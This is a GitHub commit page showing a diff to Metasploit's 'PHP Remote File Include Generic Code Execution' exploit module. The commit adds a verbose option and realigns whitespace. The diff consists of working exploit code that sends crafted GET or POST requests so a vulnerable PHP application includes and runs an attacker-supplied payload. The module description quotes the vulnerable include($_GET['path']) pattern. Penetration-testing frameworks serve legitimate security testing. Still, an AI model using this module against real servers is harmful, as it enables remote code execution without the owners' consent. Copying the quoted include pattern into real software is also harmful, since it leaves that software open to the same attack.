Skip to content

Commit 98b4c65

Browse files
committed
php_include - uses verbose
1 parent c5d426f commit 98b4c65

File tree

1 file changed

+19
-16
lines changed

1 file changed

+19
-16
lines changed

modules/exploits/unix/webapp/php_include.rb

Lines changed: 19 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -16,36 +16,36 @@ class Metasploit3 < Msf::Exploit::Remote
1616

1717
def initialize(info = {})
1818
super(update_info(info,
19-
'Name' => 'PHP Remote File Include Generic Code Execution',
20-
'Description' => %q{
19+
'Name' => 'PHP Remote File Include Generic Code Execution',
20+
'Description' => %q{
2121
This module can be used to exploit any generic PHP file include vulnerability,
2222
where the application includes code like the following:
2323
2424
<?php include($_GET['path']); ?>
2525
},
26-
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
27-
'License' => MSF_LICENSE,
28-
#'References' => [ ],
29-
'Privileged' => false,
30-
'Payload' =>
26+
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
27+
'License' => MSF_LICENSE,
28+
#'References' => [ ],
29+
'Privileged' => false,
30+
'Payload' =>
3131
{
3232
'DisableNops' => true,
33-
'Compat' =>
33+
'Compat' =>
3434
{
3535
'ConnectionType' => 'find',
3636
},
3737
# Arbitrary big number. The payload gets sent as an HTTP
3838
# response body, so really it's unlimited
39-
'Space' => 262144, # 256k
39+
'Space' => 262144, # 256k
4040
},
4141
'DefaultOptions' =>
4242
{
4343
'WfsDelay' => 30
4444
},
4545
'DisclosureDate' => 'Dec 17 2006',
46-
'Platform' => 'php',
47-
'Arch' => ARCH_PHP,
48-
'Targets' => [[ 'Automatic', { }]],
46+
'Platform' => 'php',
47+
'Arch' => ARCH_PHP,
48+
'Targets' => [[ 'Automatic', { }]],
4949
'DefaultTarget' => 0))
5050

5151
register_options([
@@ -86,6 +86,9 @@ def datastore_headers
8686
end
8787

8888
def php_exploit
89+
# Set verbosity level
90+
verbose = datastore['VERBOSE'].to_s.downcase
91+
8992
uris = []
9093

9194
tpath = normalize_uri(datastore['PATH'])
@@ -128,21 +131,21 @@ def php_exploit
128131
uris.each do |uri|
129132
break if session_created?
130133

131-
# print_status("Sending #{tpath+uri}")
134+
print_status("Sending: #{rhost+tpath+uri}") if verbose == "true"
132135
begin
133136
if http_method == "GET"
134137
response = send_request_raw( {
135138
'global' => true,
136-
'uri' => tpath+uri,
139+
'uri' => tpath+uri,
137140
'headers' => datastore_headers,
138141
}, timeout)
139142
elsif http_method == "POST"
140143
response = send_request_raw(
141144
{
142145
'global' => true,
143-
'uri' => tpath+uri,
146+
'uri' => tpath+uri,
144147
'method' => http_method,
145-
'data' => postdata,
148+
'data' => postdata,
146149
'headers' => datastore_headers.merge({
147150
'Content-Type' => 'application/x-www-form-urlencoded',
148151
'Content-Length' => postdata.length

0 commit comments

Comments
 (0)